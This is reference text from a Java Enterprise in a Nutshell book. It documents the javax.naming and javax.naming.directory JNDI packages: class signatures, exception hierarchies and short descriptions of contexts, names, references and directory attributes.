Returned By: CannotProceedException.getAltNameCtx(), javax.naming.Context.createSubcontext(), InitialContext.{createSubcontext(), getDefaultInitCtx(), getURLOrDefaultInitCtx()}, ReferralException.getReferralContext(), javax.naming.spi.InitialContextFactory.getInitialContext(), javax.naming.spi.NamingManager.{getContinuationContext(), getInitialContext(), getURLContext()}

Type Of: CannotProceedException.altNameCtx, InitialContext.defaultInitCtx

ContextNotEmptyException | JNDI 1.1
javax.naming | serializable checked

Thrown when the destroySubcontext() method is called to destroy a Context that is not empty.

public class ContextNotEmptyException extends NamingException {
// | Public Constructors
 | public ContextNotEmptyException ();
 | public ContextNotEmptyException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->ContextNotEmptyException

InitialContext JNDI 1.1
javax.naming

This class represents the starting point for accessing a naming system. Typically, you set the value of the java.naming.factory.initial property (represented by the constant Context.INITIAL_CONTEXT_FACTORY) to the fully qualified package name of a factory class in a JNDI service provider. This factory class creates an InitialContext that is appropriate for the naming system you are using.

public class InitialContext implements javax.naming.Context {
// | Public Constructors
 | public InitialContext () throws NamingException;
 | public InitialContext (java.util.Hashtable environment) throws NamingException;
// | Methods implementing Context
 | public Object addToEnvironment (String propName, Object propVal) throws NamingException;
 | public void bind (String name, Object obj) throws NamingException;
 | public void bind (Name name, Object obj) throws NamingException;
 | public void close () throws NamingException;
 | public String composeName (String name, String prefix) throws NamingException;
 | public Name composeName (Name name, Name prefix) throws NamingException;
 | public javax.naming.Context createSubcontext (String name) throws NamingException;
 | public javax.naming.Context createSubcontext (Name name) throws NamingException;
 | public void destroySubcontext (Name name) throws NamingException;
 | public void destroySubcontext (String name) throws NamingException;
 | public java.util.Hashtable getEnvironment () throws NamingException;
 | public NameParser getNameParser (String name) throws NamingException;
 | public NameParser getNameParser (Name name) throws NamingException;
 | public NamingEnumeration list (Name name) throws NamingException;
 | public NamingEnumeration list (String name) throws NamingException;
 | public NamingEnumeration listBindings (Name name) throws NamingException;
 | public NamingEnumeration listBindings (String name) throws NamingException;
 | public Object lookup (Name name) throws NamingException;
 | public Object lookup (String name) throws NamingException;
 | public Object lookupLink (Name name) throws NamingException;
 | public Object lookupLink (String name) throws NamingException;
 | public void rebind (Name name, Object obj) throws NamingException;
 | public void rebind (String name, Object obj) throws NamingException;
 | public Object removeFromEnvironment (String propName) throws NamingException;
 | public void rename (Name oldName, Name newName) throws NamingException;
 | public void rename (String oldName, String newName) throws NamingException;
 | public void unbind (Name name) throws NamingException;
 | public void unbind (String name) throws NamingException;
// | Protected Instance Methods
 | protected javax.naming.Context getDefaultInitCtx () throws NamingException;
 | protected javax.naming.Context getURLOrDefaultInitCtx (Name name) throws NamingException;
 | protected javax.naming.Context getURLOrDefaultInitCtx (String name) throws NamingException;
// | Protected Instance Fields
 | protected javax.naming.Context defaultInitCtx ;
 | protected boolean gotDefault ;
 | protected java.util.Hashtable myProps ;
}

Hierarchy: Object-->InitialContext(javax.naming.Context)

Subclasses: javax.naming.directory.InitialDirContext

InsufficientResourcesException | JNDI 1.1
javax.naming | serializable checked

Thrown when there are insufficient system resources, such as memory or disk space, to perform an operation.

public class InsufficientResourcesException extends NamingException {
// | Public Constructors
 | public InsufficientResourcesException ();
 | public InsufficientResourcesException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InsufficientResourcesException

InterruptedNamingException | JNDI 1.1
javax.naming | serializable checked

Thrown when a naming operation has been interrupted.

public class InterruptedNamingException extends NamingException {
// | Public Constructors
 | public InterruptedNamingException ();
 | public InterruptedNamingException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InterruptedNamingException

InvalidNameException | JNDI 1.1
javax.naming | serializable checked

Thrown when a specified name violates the syntax of a particular naming system.

public class InvalidNameException extends NamingException {
// | Public Constructors
 | public InvalidNameException ();
 | public InvalidNameException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidNameException

Thrown By: CompositeName.{add(), addAll(), CompositeName(), remove()}, CompoundName.{add(), addAll(), CompoundName(), remove()}, Name.{add(), addAll(), remove()}

LimitExceededException | JNDI 1.1
javax.naming | serializable checked

Thrown when a method fails because it has exceeded a user- or system-specified limit.

public class LimitExceededException extends NamingException {
// | Public Constructors
 | public LimitExceededException ();
 | public LimitExceededException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LimitExceededException

Subclasses: SizeLimitExceededException, TimeLimitExceededException

LinkException | JNDI 1.1
javax.naming | serializable checked

Thrown when a method cannot resolve a link.

public class LinkException extends NamingException {
// | Public Constructors
 | public LinkException (); |
 | public LinkException (String explanation); |
// | Public Instance Methods
 | public String getLinkExplanation (); | default:null
 | public Name getLinkRemainingName (); | default:null
 | public Name getLinkResolvedName (); | default:null
 | public Object getLinkResolvedObj (); | default:null
 | public void setLinkExplanation (String msg); |
 | public void setLinkRemainingName (Name name); |
 | public void setLinkResolvedName (Name name); |
 | public void setLinkResolvedObj (Object obj); |
// | Public methods overriding NamingException
 | public String toString (); |
 | public String toString (boolean detail); |
// | Protected Instance Fields
 | protected String linkExplanation ; |
 | protected Name linkRemainingName ; |
 | protected Name linkResolvedName ; |
 | protected Object linkResolvedObj ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LinkException

Subclasses: LinkLoopException, MalformedLinkException

LinkLoopException | JNDI 1.1
javax.naming | serializable checked

Thrown when a loop is detected when resolving a link or when JNDI has reached a limit on link counts.

public class LinkLoopException extends LinkException {
// | Public Constructors
 | public LinkLoopException ();
 | public LinkLoopException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LinkException-->LinkLoopException

LinkRef | JNDI 1.1
javax.naming | cloneable serializable

LinkRef is a subclass of Reference that contains a name, called the link name, that is bound to an atomic name in a context.

public class LinkRef extends javax.naming.Reference {
// | Public Constructors
 | public LinkRef (String linkName);
 | public LinkRef (Name linkName);
// | Public Instance Methods
 | public String getLinkName () throws NamingException;
}

Hierarchy: Object-->javax.naming.Reference(Cloneable,Serializable)-->LinkRef

MalformedLinkException | JNDI 1.1
javax.naming | serializable checked

Thrown when a link name is improperly constructed.

public class MalformedLinkException extends LinkException {
// | Public Constructors
 | public MalformedLinkException ();
 | public MalformedLinkException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LinkException-->MalformedLinkException

Name | JNDI 1.1
javax.naming | cloneable serializable

This interface represents the name of an object in a naming system. A Name can be either a compound name or a composite name. This interface is used primarily by developers who are writing JNDI service providers, not by JNDI application developers. As an application developer, you can use String objects instead of Name objects to specify names in Context and javax.naming.directory.DirContext method calls.

public abstract interface Name extends Cloneable, Serializable {
// | Public Instance Methods
 | public abstract Name add (String comp) throws InvalidNameException;
 | public abstract Name add (int posn, String comp) throws InvalidNameException;
 | public abstract Name addAll (Name suffix) throws InvalidNameException;
 | public abstract Name addAll (int posn, Name n) throws InvalidNameException;
 | public abstract Object clone ();
 | public abstract int compareTo (Object obj);
 | public abstract boolean endsWith (Name n);
 | public abstract String get (int posn);
 | public abstract java.util.Enumeration getAll ();
 | public abstract Name getPrefix (int posn);
 | public abstract Name getSuffix (int posn);
 | public abstract boolean isEmpty ();
 | public abstract Object remove (int posn) throws InvalidNameException;
 | public abstract int size ();
 | public abstract boolean startsWith (Name n);
}

Hierarchy: (Name(Cloneable,Serializable))

Implementations: CompositeName, CompoundName

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: CannotProceedException.{altName, remainingNewName}, LinkException.{linkRemainingName, linkResolvedName}, NamingException.{remainingName, resolvedName}, javax.naming.spi.ResolveResult.remainingName

NameAlreadyBoundException | JNDI 1.1
javax.naming | serializable checked

Thrown when a binding operation fails because the name is already bound.

public class NameAlreadyBoundException extends NamingException {
// | Public Constructors
 | public NameAlreadyBoundException ();
 | public NameAlreadyBoundException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NameAlreadyBoundException

NameClassPair | JNDI 1.1
javax.naming | serializable

This class represents the name and class of an object bound to a Context. The list() method of Context returns an NamingEnumeration of NameClassPair objects. Note that NameClassPair does not represent the object itself; that is the job of its subclass Binding.

public class NameClassPair implements Serializable {
// | Public Constructors
 | public NameClassPair (String name, String className);
 | public NameClassPair (String name, String className, boolean isRelative);
// | Public Instance Methods
 | public String getClassName ();
 | public String getName ();
 | public boolean isRelative ();
 | public void setClassName (String name);
 | public void setName (String name);
 | public void setRelative (boolean r);
// | Public methods overriding Object
 | public String toString ();
}

Hierarchy: Object-->NameClassPair(Serializable)

Subclasses: javax.naming.Binding

NameNotFoundException | JNDI 1.1
javax.naming | serializable checked

Thrown when a component of a name cannot be resolved because it is not bound.

public class NameNotFoundException extends NamingException {
// | Public Constructors
 | public NameNotFoundException ();
 | public NameNotFoundException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NameNotFoundException

NameParser JNDI 1.1
javax.naming

This interface is for parsing names from a hierarchical namespace. A NameParser knows the syntactic information, such as left-to-right orientation and the name separator, needed to parse names.

public abstract interface NameParser {
// | Public Instance Methods
 | public abstract Name parse (String name) throws NamingException;
}

Returned By: javax.naming.Context.getNameParser(), InitialContext.getNameParser()

NamingEnumeration JNDI 1.1
javax.naming

This interface represents a list of items returned from a JNDI operation. It extends java.util.Enumeration, so a NamingEnumeration can be treated as a normal enumeration.

public abstract interface NamingEnumeration extends java.util.Enumeration {
// | Public Instance Methods
 | public abstract boolean hasMore () throws NamingException;
 | public abstract Object next () throws NamingException;
}

Hierarchy: (NamingEnumeration(java.util.Enumeration))

Returned By: Too many methods to list.

NamingException | JNDI 1.1
javax.naming | serializable checked

The base class of all exceptions thrown by Context and javax.naming.directory.DirContext methods. NamingException can include information about where the operation failed, such as the portion of a name that has been resolved and the portion that remains to be resolved. A NamingException can also include a root cause exception, which is the exception object that caused the naming exception to be thrown.

public class NamingException extends Exception {
// | Public Constructors
 | public NamingException (); |
 | public NamingException (String explanation); |
// | Public Instance Methods
 | public void appendRemainingComponent (String name); |
 | public void appendRemainingName (Name name); |
 | public String getExplanation (); | default:null
 | public Name getRemainingName (); | default:null
 | public Name getResolvedName (); | default:null
 | public Object getResolvedObj (); | default:null
 | public Throwable getRootCause (); | default:null
 | public void setRemainingName (Name name); |
 | public void setResolvedName (Name name); |
 | public void setResolvedObj (Object obj); |
 | public void setRootCause (Throwable e); |
 | public String toString (boolean detail); |
// | Public methods overriding Throwable
 | public String toString (); |
// | Protected Instance Fields
 | protected Name remainingName ; |
 | protected Name resolvedName ; |
 | protected Object resolvedObj ; |
 | protected Throwable rootException ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException

Subclasses: Too many classes to list.

Thrown By: Too many methods to list.

NamingSecurityException | JNDI 1.1
javax.naming | serializable checked

The abstract superclass of all security-related naming exceptions.

public abstract class NamingSecurityException extends NamingException {
// | Public Constructors
 | public NamingSecurityException ();
 | public NamingSecurityException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NamingSecurityException

Subclasses: AuthenticationException, AuthenticationNotSupportedException, NoPermissionException

NoInitialContextException | JNDI 1.1
javax.naming | serializable checked

Thrown when JNDI cannot create an initial context.

public class NoInitialContextException extends NamingException {
// | Public Constructors
 | public NoInitialContextException ();
 | public NoInitialContextException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NoInitialContextException

NoPermissionException | JNDI 1.1
javax.naming | serializable checked

Thrown when there is an attempt to perform an operation that is forbidden by the underlying naming system due to insufficient privileges.

public class NoPermissionException extends NamingSecurityException {
// | Public Constructors
 | public NoPermissionException ();
 | public NoPermissionException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NamingSecurityException-->NoPermissionException

NotContextException | JNDI 1.1
javax.naming | serializable checked

Thrown when there is an attempt to perform a Context-related operation on an object that is not a Context.

public class NotContextException extends NamingException {
// | Public Constructors
 | public NotContextException ();
 | public NotContextException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NotContextException

OperationNotSupportedException | JNDI 1.1
javax.naming | serializable checked

Thrown when the provider's implementation of Context does not support a method that has been invoked (e.g., trying to list the subordinates of a leaf object like a print job that by definition cannot have any children).

public class OperationNotSupportedException extends NamingException {
// | Public Constructors
 | public OperationNotSupportedException ();
 | public OperationNotSupportedException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->OperationNotSupportedException

PartialResultException | JNDI 1.1
javax.naming | serializable checked

Thrown when an operation cannot be completed and has returned only a partial result (e.g., returning only a partial list of subordinates).

public class PartialResultException extends NamingException {
// | Public Constructors
 | public PartialResultException ();
 | public PartialResultException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->PartialResultException

RefAddr | JNDI 1.1
javax.naming | serializable

This abstract class represents the address of a communications end point. It is used by Reference to represent the communication mechanism and address of a reference. Concrete implementations support addresses such as URLs, DNS names, and IP addresses.

public abstract class RefAddr implements Serializable {
// | Protected Constructors
 | protected RefAddr (String addrType);
// | Public Instance Methods
 | public abstract Object getContent ();
 | public String getType ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Protected Instance Fields
 | protected String addrType ;
}

Hierarchy: Object-->RefAddr(Serializable)

Subclasses: BinaryRefAddr, StringRefAddr

Passed To: javax.naming.Reference.{add(), Reference()}

Returned By: javax.naming.Reference.get()

Reference | JNDI 1.1
javax.naming | cloneable serializable

This class represents an object external to a naming system that is referred to by an object in the naming system. A Reference contains an address for retrieving the object from its naming system. The address is a communications end point that enables JNDI to contact the object. The address can be any concrete subclass of RefAddr, such as a StringRefAddr for representing a URL or DNS name. A Reference also contains the class name of the referenced object.

public class Reference implements Cloneable, Serializable {
// | Public Constructors
 | public Reference (String className);
 | public Reference (String className, RefAddr addr);
 | public Reference (String className, String factory, String factoryLocation);
 | public Reference (String className, RefAddr addr, String factory, String factoryLocation);
// | Public Instance Methods
 | public void add (RefAddr addr);
 | public void add (int posn, RefAddr addr);
 | public void clear ();
 | public RefAddr get (String addrType);
 | public RefAddr get (int posn);
 | public java.util.Enumeration getAll ();
 | public String getClassName ();
 | public String getFactoryClassLocation ();
 | public String getFactoryClassName ();
 | public Object remove (int posn);
 | public int size ();
// | Public methods overriding Object
 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Protected Instance Fields
 | protected java.util.Vector addrs ;
 | protected String classFactory ;
 | protected String classFactoryLocation ;
 | protected String className ;
}

Hierarchy: Object-->javax.naming.Reference(Cloneable,Serializable)

Subclasses: LinkRef

Returned By: Referenceable.getReference()

Referenceable JNDI 1.1
javax.naming

This interface is implemented by an object that can provide a reference to itself in the form of a Reference object.

public abstract interface Referenceable {
// | Public Instance Methods
 | public abstract javax.naming.Reference getReference () throws NamingException;
}
ReferralException | JNDI 1.1
javax.naming | serializable checked

Thrown when a referral cannot be continued, such as when more information is required. Note that this is an abstract class.

public abstract class ReferralException extends NamingException {
// | Protected Constructors
 | protected ReferralException ();
 | protected ReferralException (String explanation);
// | Public Instance Methods
 | public abstract javax.naming.Context getReferralContext () throws NamingException;
 | public abstract Object getReferralInfo ();
 | public abstract boolean skipReferral ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->ReferralException

ServiceUnavailableException | JNDI 1.1
javax.naming | serializable checked

Thrown when the name service is not available for some reason.

public class ServiceUnavailableException extends NamingException {
// | Public Constructors
 | public ServiceUnavailableException ();
 | public ServiceUnavailableException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->ServiceUnavailableException

SizeLimitExceededException | JNDI 1.1
javax.naming | serializable checked

Thrown when a method produces a result that exceeds a size limit.

public class SizeLimitExceededException extends LimitExceededException {
// | Public Constructors
 | public SizeLimitExceededException ();
 | public SizeLimitExceededException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LimitExceededException-->SizeLimitExceededException

StringRefAddr | JNDI 1.1
javax.naming | serializable

A concrete subclass of RefAddr that provides a string form of the address of a communications end point.

public class StringRefAddr extends RefAddr {
// | Public Constructors
 | public StringRefAddr (String addrType, String addr);
// | Public methods overriding RefAddr
 | public Object getContent ();
}

Hierarchy: Object-->RefAddr(Serializable)-->StringRefAddr

TimeLimitExceededException | JNDI 1.1
javax.naming | serializable checked

Thrown when a method does not finish within a certain time limit.

public class TimeLimitExceededException extends LimitExceededException {
// | Public Constructors
 | public TimeLimitExceededException ();
 | public TimeLimitExceededException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->LimitExceededException-->TimeLimitExceededException

Previous | Home | Next
21.1. The javax.jms Package | Book Index | 23. The javax.naming.directory Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.naming.directory Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 23. The javax.naming.directory Package

The javax.naming.directory package contains the core interfaces, classes, and exceptions for performing directory operations with JNDI. DirContext defines the interface to directory services, while Attribute represents an attribute that is associated with a directory entry. Figure 23-1 shows the hierarchy of this package.

Figure 23-1. The javax.naming.directory package

Attribute | JNDI 1.1
javax.naming.directory | cloneable serializable

This interface represents an attribute associated with a directory entry. The directory schema determines the classes of attributes that a directory entry with a certain object class definition is permitted to have. The class of a particular attribute is called the attribute type definition. The name of an attribute, called the attribute ID, is determined by the attribute type definition and has a String representation that refers to that particular attribute. Each attribute can have zero or more values of a particular class. The class of values an attribute is permitted to have is called the attribute syntax definition.

The directory schema, and therefore the attribute type and syntax definitions, depend on the underlying directory your JNDI application is using. You can use getAttributeDefinition() to determine the type definition for a particular attribute and getAttributeSyntaxDefinition() to determine the attribute syntax definition.

The get() method returns a single attribute value as a java.lang.Object, while getAll() returns multiple attribute values as a javax.naming.NamingEnumeration of objects. If the attribute has only a single value, get() returns that value. If the attribute has multiple values, the service provider determines the value that is returned.

Updates performed on Attribute do not affect the directory entry. To modify the directory entry, you must call the modifyAttributes() method of DirContext with an Attributes object that contains a modified Attribute.

public abstract interface Attribute extends Cloneable, Serializable {
// | Public Instance Methods
 | public abstract boolean add (Object attrVal);
 | public abstract void clear ();
 | public abstract Object clone ();
 | public abstract boolean contains (Object attrVal);
 | public abstract Object get () throws NamingException;
 | public abstract NamingEnumeration getAll () throws NamingException;
 | public abstract DirContext getAttributeDefinition () throws NamingException;
 | public abstract DirContext getAttributeSyntaxDefinition () throws NamingException;
 | public abstract String getID ();
 | public abstract boolean remove (Object attrval);
 | public abstract int size ();
}

Hierarchy: (Attribute(Cloneable,Serializable))

Implementations: BasicAttribute

Passed To: Attributes.put(), BasicAttributes.put(), ModificationItem.ModificationItem()

Returned By: Attributes.{get(), put(), remove()}, BasicAttributes.{get(), put(), remove()}, ModificationItem.getAttribute()

AttributeInUseException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when there is an attempt to add an attribute already present in the directory entry.

public class AttributeInUseException extends NamingException {
// | Public Constructors
 | public AttributeInUseException ();
 | public AttributeInUseException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->AttributeInUseException

AttributeModificationException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when modifyAttributes() method of DirContext cannot be executed because the operation contradicts the directory schema. You can retrieve an array of modification items JNDI could not perform using getUnexecutedModifications().

public class AttributeModificationException extends NamingException {
// | Public Constructors
 | public AttributeModificationException (); |
 | public AttributeModificationException (String explanation); |
// | Public Instance Methods
 | public ModificationItem[ ] getUnexecutedModifications (); | default:null
 | public void setUnexecutedModifications (ModificationItem[ ] e); |
// | Public methods overriding NamingException
 | public String toString (); |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->AttributeModificationException

Attributes | JNDI 1.1
javax.naming.directory | cloneable serializable

This interface represents a collection of attributes associated with a directory entry. Individual attributes are unordered, and the Attributes object can have zero or more attributes. The getAll() method returns an enumeration of Attribute objects, while getIDs() returns an enumeration of just the attribute names (or IDs) for the directory entry. If you know the attribute you want, you can specify the attribute name in a call to the get() method, which returns a single Attribute object.

An Attributes object can be case-sensitive or insensitive. In an LDAP or NDS directory, a case-insensitive attribute corresponds to "case ignore string." This means when searching for a particular attribute or comparing two attributes, case sensitivity can affect the results.

Updates performed on an Attributes object do not affect the directory entry. To modify the directory entry, you must call the modifyAttributes() method of DirContext using the updated Attributes object.

When creating a set of attributes for use in an application, you typically use a BasicAttributes object.

public abstract interface Attributes extends Cloneable, Serializable {
// | Public Instance Methods
 | public abstract Object clone ();
 | public abstract Attribute get (String attrID);
 | public abstract NamingEnumeration getAll ();
 | public abstract NamingEnumeration getIDs ();
 | public abstract boolean isCaseIgnored ();
 | public abstract Attribute put (Attribute attr);
 | public abstract Attribute put (String attrID, Object val);
 | public abstract Attribute remove (String attrID);
 | public abstract int size ();
}

Hierarchy: (Attributes(Cloneable,Serializable))

Implementations: BasicAttributes

Passed To: Too many methods to list.

Returned By: DirContext.getAttributes(), InitialDirContext.getAttributes(), SearchResult.getAttributes()

BasicAttribute | JNDI 1.1
javax.naming.directory | cloneable serializable

This class is a basic implementation of the Attribute interface. BasicAttribute has a convenience constructor that enables you to create the object with attribute data by using a string that represents the attribute ID and a java.lang.Object that represents the attribute value. This constructor is equivalent to creating a BasicAttribute object with the attribute ID as a parameter and then calling the add() method.

public class BasicAttribute implements Attribute {
// | Public Constructors
 | public BasicAttribute (String id);
 | public BasicAttribute (String id, Object value);
// | Methods implementing Attribute
 | public boolean add (Object attrVal);
 | public void clear ();
 | public Object clone ();
 | public boolean contains (Object attrVal);
 | public Object get () throws NamingException;
 | public NamingEnumeration getAll () throws NamingException;
 | public DirContext getAttributeDefinition () throws NamingException;
 | public DirContext getAttributeSyntaxDefinition () throws NamingException;
 | public String getID ();
 | public boolean remove (Object attrval);
 | public int size ();
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Protected Instance Fields
 | protected String attrID ;
 | protected transient java.util.Vector values ;
}

Hierarchy: Object-->BasicAttribute(Attribute(Cloneable,Serializable))

BasicAttributes | JNDI 1.1
javax.naming.directory | cloneable serializable

This class is a basic implementation of the Attributes interface. BasicAttributes has a convenience constructor that enables you to create the set of attributes with attribute data by using a string that represents an attribute ID, and a java.lang.Object that represents an attribute value. This constructor is equivalent to creating a BasicAttributes object with an empty constructor and then calling the two-argument put() method.

You can construct a BasicAttributes object as case-sensitive or insensitive. In an LDAP or NDS directory, a case-insensitive attribute corresponds to "case ignore string."

public class BasicAttributes implements Attributes {
// | Public Constructors
 | public BasicAttributes (); |
 | public BasicAttributes (boolean ignoreCase); |
 | public BasicAttributes (String attrID, Object val); |
 | public BasicAttributes (String attrID, Object val, boolean ignoreCase); |
// | Methods implementing Attributes
 | public Object clone (); |
 | public Attribute get (String attrID); |
 | public NamingEnumeration getAll (); |
 | public NamingEnumeration getIDs (); |
 | public boolean isCaseIgnored (); | default:false
 | public Attribute put (Attribute attr); |
 | public Attribute put (String attrID, Object val); |
 | public Attribute remove (String attrID); |
 | public int size (); |
// | Public methods overriding Object
 | public String toString (); |
}

Hierarchy: Object-->BasicAttributes(Attributes(Cloneable,Serializable))

DirContext JNDI 1.1
javax.naming.directory

This interface provides a Java representation of a directory entry and is a subclass of javax.naming.Context. The practical difference between a Context and a DirContext is the association of attributes with a DirContext and the consequent methods for retrieving and modifying attribute data.

The directory schema determines the classes of directory entries that can be present in a directory. You can access the directory schema using getSchema(). The class of a directory entry is its object class definition. You can access the object class definition using the getSchemaClassDefinition() method. Most directory providers distribute documents that describe their directory schemae. Consult your directory service provider for a schema definition.

The getAttributes() method returns an Attributes object that contains either all the attributes of an entry or just those attributes specified in a String array. createSubcontext() creates a new directory entry, while modifyAttributes() changes attributes values. The various search() methods allow you to search directory entries, using optional search filters and SearchControls objects.

public abstract interface DirContext extends javax.naming.Context {
// | Public Constants
 | public static final int ADD_ATTRIBUTE ; | =1
 | public static final int REMOVE_ATTRIBUTE ; | =3
 | public static final int REPLACE_ATTRIBUTE ; | =2
// | Public Instance Methods
 | public abstract void bind (Name name, Object obj, Attributes attrs) throws NamingException; |
 | public abstract void bind (String name, Object obj, Attributes attrs) throws NamingException; |
 | public abstract DirContext createSubcontext (Name name, Attributes attrs) throws NamingException; |
 | public abstract DirContext createSubcontext (String name, Attributes attrs) throws NamingException; |
 | public abstract Attributes getAttributes (Name name) throws NamingException; |
 | public abstract Attributes getAttributes (String name) throws NamingException; |
 | public abstract Attributes getAttributes (Name name, String[ ] attrIds) throws NamingException; |
 | public abstract Attributes getAttributes (String name, String[ ] attrIds) throws NamingException; |
 | public abstract DirContext getSchema (Name name) throws NamingException; |
 | public abstract DirContext getSchema (String name) throws NamingException; |
 | public abstract DirContext getSchemaClassDefinition (Name name) throws NamingException; |
 | public abstract DirContext getSchemaClassDefinition (String name) throws NamingException; |
 | public abstract void modifyAttributes (String name, ModificationItem[ ] mods) throws NamingException; |
 | public abstract void modifyAttributes (Name name, ModificationItem[ ] mods) throws NamingException; |
 | public abstract void modifyAttributes (Name name, int mod_op, Attributes attrs) throws NamingException; |
 | public abstract void modifyAttributes (String name, int mod_op, Attributes attrs) throws NamingException; |
 | public abstract void rebind (Name name, Object obj, Attributes attrs) throws NamingException; |
 | public abstract void rebind (String name, Object obj, Attributes attrs) throws NamingException; |
 | public abstract NamingEnumeration search (String name, Attributes matchingAttributes) throws NamingException; |
 | public abstract NamingEnumeration search (Name name, Attributes matchingAttributes) throws NamingException; |
 | public abstract NamingEnumeration search (String name, String filter, SearchControls cons) throws NamingException; |
 | public abstract NamingEnumeration search (Name name, Attributes matchingAttributes, String[ ] attributesToReturn) throws NamingException; |
 | public abstract NamingEnumeration search (Name name, String filter, SearchControls cons) throws NamingException; |
 | public abstract NamingEnumeration search (String name, Attributes matchingAttributes, String[ ] attributesToReturn) throws NamingException; |
 | public abstract NamingEnumeration search (String name, String filterExpr, Object[ ] filterArgs, SearchControls cons) throws NamingException; |
 | public abstract NamingEnumeration search (Name name, String filterExpr, Object[ ] filterArgs, SearchControls cons) throws NamingException; |
}

Hierarchy: (DirContext(javax.naming.Context))

Implementations: InitialDirContext

Returned By: Attribute.{getAttributeDefinition(), getAttributeSyntaxDefinition()}, BasicAttribute.{getAttributeDefinition(), getAttributeSyntaxDefinition()}, DirContext.{createSubcontext(), getSchema(), getSchemaClassDefinition()}, InitialDirContext.{createSubcontext(), getSchema(), getSchemaClassDefinition()}, javax.naming.spi.DirectoryManager.getContinuationDirContext()

InitialDirContext JNDI 1.1
javax.naming.directory

This class represents the starting context for performing directory operations and is a subclass of javax.naming.InitialContext. Use this class when your application must perform directory operations on an initial context.

public class InitialDirContext extends InitialContextimplements DirContext {
// | Public Constructors
 | public InitialDirContext () throws NamingException;
 | public InitialDirContext (java.util.Hashtable environment) throws NamingException;
// | Methods implementing DirContext
 | public void bind (String name, Object obj, Attributes attrs) throws NamingException;
 | public void bind (Name name, Object obj, Attributes attrs) throws NamingException;
 | public DirContext createSubcontext (String name, Attributes attrs) throws NamingException;
 | public DirContext createSubcontext (Name name, Attributes attrs) throws NamingException;
 | public Attributes getAttributes (String name) throws NamingException;
 | public Attributes getAttributes (Name name) throws NamingException;
 | public Attributes getAttributes (Name name, String[ ] attrIds) throws NamingException;
 | public Attributes getAttributes (String name, String[ ] attrIds) throws NamingException;
 | public DirContext getSchema (String name) throws NamingException;
 | public DirContext getSchema (Name name) throws NamingException;
 | public DirContext getSchemaClassDefinition (String name) throws NamingException;
 | public DirContext getSchemaClassDefinition (Name name) throws NamingException;
 | public void modifyAttributes (Name name, ModificationItem[ ] mods) throws NamingException;
 | public void modifyAttributes (String name, ModificationItem[ ] mods) throws NamingException;
 | public void modifyAttributes (String name, int mod_op, Attributes attrs) throws NamingException;
 | public void modifyAttributes (Name name, int mod_op, Attributes attrs) throws NamingException;
 | public void rebind (Name name, Object obj, Attributes attrs) throws NamingException;
 | public void rebind (String name, Object obj, Attributes attrs) throws NamingException;
 | public NamingEnumeration search (String name, Attributes matchingAttributes) throws NamingException;
 | public NamingEnumeration search (Name name, Attributes matchingAttributes) throws NamingException;
 | public NamingEnumeration search (Name name, String filter, SearchControls cons) throws NamingException;
 | public NamingEnumeration search (Name name, Attributes matchingAttributes, String[ ] attributesToReturn) throws NamingException;
 | public NamingEnumeration search (String name, String filter, SearchControls cons) throws NamingException;
 | public NamingEnumeration search (String name, Attributes matchingAttributes, String[ ] attributesToReturn) throws NamingException;
 | public NamingEnumeration search (String name, String filterExpr, Object[ ] filterArgs, SearchControls cons) throws NamingException;
 | public NamingEnumeration search (Name name, String filterExpr, Object[ ] filterArgs, SearchControls cons) throws NamingException;
}

Hierarchy: Object-->InitialContext(javax.naming.Context)-->InitialDirContext(DirContext(javax.naming.Context))

InvalidAttributeIdentifierException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when there is an attempt to create an attribute with an attribute ID that doesn't exist in the directory's schema.

public class InvalidAttributeIdentifierException extends NamingException {
// | Public Constructors
 | public InvalidAttributeIdentifierException ();
 | public InvalidAttributeIdentifierException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->InvalidAttributeIdentifierException

InvalidAttributesException | JNDI 1.1
javax.naming.directory | serializable checked

Thrown when an add or modification operation has specified an inappropriate attribute type for the object class specified by the directory's schema.

public class InvalidAttributesException extends NamingException {
// | Public Constructors
 | public InvalidAttributesException ();
 | public InvalidAttributesException (String explanation);
}

